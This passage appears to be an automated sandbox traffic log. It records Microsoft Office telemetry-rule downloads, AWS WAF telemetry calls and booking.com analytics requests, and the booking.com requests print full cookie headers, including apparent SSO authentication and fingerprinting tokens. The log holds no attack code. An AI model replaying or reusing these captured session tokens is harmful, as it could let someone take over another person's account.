_px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf7
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413335362d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b41333a322d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=34373124266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304334333425324337253241333c333933273d442730432d354a27303a656d25323a273a41363136273243352732433336393b3325374c253041253d422d30307c2d3232253a412d30324649542532332732334c435e273233273a3227304339343a323a2d3d4425324b273d402530326f6d253230253241343c3a2532413c3927304339343a323a2d3d4425324b273d402530327625323227324327303a464956273a332730334c495e27303b2d3232253a4139363233382735442530432537402d30326d6f2d323027324b363d3b273a4b3838253a4139363233382735442530432537402d303274273a322730432d323a464b5e2d3233253a314c4b5627323125323227324333363a313125374c253041253d422d303065652532322d304b34363a253043313231253241333c303331273d442730432d354a27303a7c2532322d304b27323048332532336739633a343866332d363a373a2f343e666a2f60303d632d6631373163383b6334653366273233464b5e273233273a3227304339343a363a2d3d4425324b273d402530326f6d253230253241343f3525324139353727324b313c3036302d3544253d462e606871635d696e6467783d3b HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413030322d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31353535262668636b3f3126606073613f253d422d37402d3a3274253a302d304327323044495627323327303b464956273a332730322d324b33363a3d3325354c273a412537422732326d6f253230273a413638362d324133383b253a41333c3a3533253d462d30432735402532326f6d2530302d3043363b392530413238392d3041393c3236342d374c2732412537422532306d6d27303a2732433431372730433a333a27304b3934323731273d462530432735422530326d6f273a302532413f303127324b323d31273a4b31343231372d37442732412535422732326f6f2d303225304b373331253a433a3a3a2d3a4331343b373f2735462530432535402532306f65273232273a433533372d324b31323b2d3243313c313e33253744273243253742253030656f2532302d3241353238253a4131393f25324339363b353227354625324327354227303a6f6d25303a253041373a342d30413b3a3925324b333c31383a253744253241253540273a306d6d273a322730433f323f27304b3b3430253a4139363432332735442530432537402d30326d6f2d323027324b373a3b273a4b3335302d304b333436303525354427324327374a2732326f65253030253a433f31302d3a43333531273a413136343339253546253241273d40253230656d2730322d324b35313c2d3243333e352d304333343633342537442530412d374225303a6d6f27323a253a41353b3e2532433b353c273241313634353027354427304b273542273a326f6f253a322d30413f3b3825324b3130332530433334343635253546273a412535402d32306f6d2d323a27304b3f3339253a413b3a372732413134343a312537462d304325374a2530306d65253a30273a4b3734312d304b313930253043313436383627374c273243273d42273032656d2d30302d3a4337343a273a41333b372732433136343935273d462532412d354027323a6d6527303a2d3243373c312d304336303325324333343533312d374425304b253740253a32656f273a3a2532433f363c2732413432352532413134373030273544273a432737422d323a6f6f2d3a3225324b353c372530433630382530433136373c362535462d324127354a253a306f652d3232253a413f363627324134313127324333363d343025374c253041253d422d303065652532322d304b353435253043343136253241333c373736273d442730432d354a27303a656d25323a273a4137363727324334333725304139363539322d354627324b253d40273a3a6d6d253a302d304335343a25324336313927304b3334363339253746253a432d37402d3a326d6d2d303a273241373639253241343233273a413134343b332737442d324b27374a2d32326d65273a302530433534392530433430312d304331363e343627354c253a41273d4a253232656f2d303227324137353027324336303d273243333c363736253d442d30412d3d4225323a6f65273230253043373532253241363a3425324139343434382d354c27304b2d3542253a30656f2530322732433737312530413c303725304b313634383c253d46273a4b2535422d303a6f6d27323025324335353227304b363239273a4333363738302d37462d3a4325354a273a306d6f253032253241373530273a413433322d324133343f313e27374c2d3243253d402d30326f6d2732322530433737312d3043343139253041313c373a33273d4c2532432d374a2732306d6f25323227324335373b273243363b3227304339343f31332d3d4425324b273d402530326f6d253230253241353d312532413c333127324b313c35343a2d3544253a412d37422732306d6d2530322530413f373325304b343136253a433936353f3b2535442d304b2735402530326d6d2732
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413030362d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=32373424266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304335313025324336363127304b333638363f253746253a432d37402d3a3274253a302d3043273230627574766f6e27303b273233432d323127323a253a41333e303930253d462d30432735402532326f6d2530302d304336353c2530413430312d3041393e3839302d374c2732412537422532306d6d27303a273243343c302730433d303827304b393639333c273d462530432735422530327427303a273243273a32464b562d323b27303b4c4956253a312d303227324131363934382537462d304325374a2530306d65253a30273a4b3631302d304b37313425304331363b363827374c273544246a6871615f616e6c677a353931 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 